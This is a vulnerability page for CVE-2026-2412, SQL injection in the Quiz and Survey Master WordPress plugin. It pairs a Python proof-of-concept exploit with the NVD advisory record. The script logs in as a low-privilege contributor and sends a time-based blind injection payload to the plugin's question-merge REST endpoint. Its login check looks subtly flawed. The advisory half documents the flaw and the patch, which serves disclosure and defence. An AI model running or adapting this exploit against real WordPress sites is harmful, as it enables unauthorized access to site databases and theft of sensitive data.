CVE-2026-2412

#!/usr/bin/env python3 # PoC for CVE-2026-2412: Authenticated SQL Injection in QSM Plugin import requests import sys def exploit(url, username, password): session = requests.Session() # 1. Login as Contributor (Low privilege user) login_url = f"{url}/wp-login.php" login_data = { "log": username, "pwd": password, "redirect_to": f"{url}/wp-admin/", "testcookie": "1" } print(f"[*] Logging in as {username}...") session.post(login_url, data=login_data) # Check if login successful if 'wp-admin' not in session.cookies.get_dict(): print("[-] Login failed.") return # 2. Send Payload to vulnerable endpoint # The vulnerability is in the 'merged_question' parameter # Payload: 1) OR SLEEP(5)# to test for time-based blind injection target_endpoint = f"{url}/wp-json/qsm/v1/questions/merge" # Endpoint might vary based on plugin version payload = "1) OR SLEEP(5)#" headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # Nonce might be required depending on REST API config } # Fetch nonce if necessary (omitted for brevity, assuming REST API is accessible) data = { "merged_question": payload } print(f"[*] Sending payload to {target_endpoint}") try: response = session.post(target_endpoint, json=data, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response delayed by 5 seconds.") else: print("[-] Vulnerability not triggered or patched.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <url> <username> <password>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2026-2412", "sourceIdentifier": "[email protected]", "published": "2026-03-23T23:17:11.287", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to SQL Injection via the 'merged_question' parameter in all versions up to, and including, 10.3.5. This is due to insufficient sanitization of user-supplied input before being used in a SQL query. The sanitize_text_field() function applied to the merged_question parameter does not prevent SQL metacharacters like ), OR, AND, and # from being included in the value, which is then directly concatenated into a SQL IN() clause without using $wpdb->prepare() or casting values to integers. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}, {"lang": "es", "value": "El plugin Quiz and Survey Master (QSM) para WordPress es vulnerable a inyección SQL a través del parámetro 'merged_question' en todas las versiones hasta la 10.3.5, inclusive. Esto se debe a una sanitización insuficiente de la entrada proporcionada por el usuario antes de ser utilizada en una consulta SQL. La función sanitize_text_field() aplicada al parámetro merged_question no evita que metacaracteres SQL como ), OR, AND y # se incluyan en el valor, el cual es luego concatenado directamente en una cláusula SQL IN() sin usar $wpdb-&gt;prepare() ni convertir valores a enteros. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, añadan consultas SQL adicionales en consultas ya existentes que pueden ser utilizadas para extraer información sensible de la base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/10.3.5/php/classes/class-qsm-questions.php#L387", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/10.3.5/php/rest-api.php#L760", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3486710/quiz-master-next/trunk/php/classes/class-qsm-questions.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3486710/quiz-master-next/trunk/php/rest-api.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b32bf1cb-3722-41fc-be51-dabe80416b14?source=cve", "source": "[email protected]"}]}}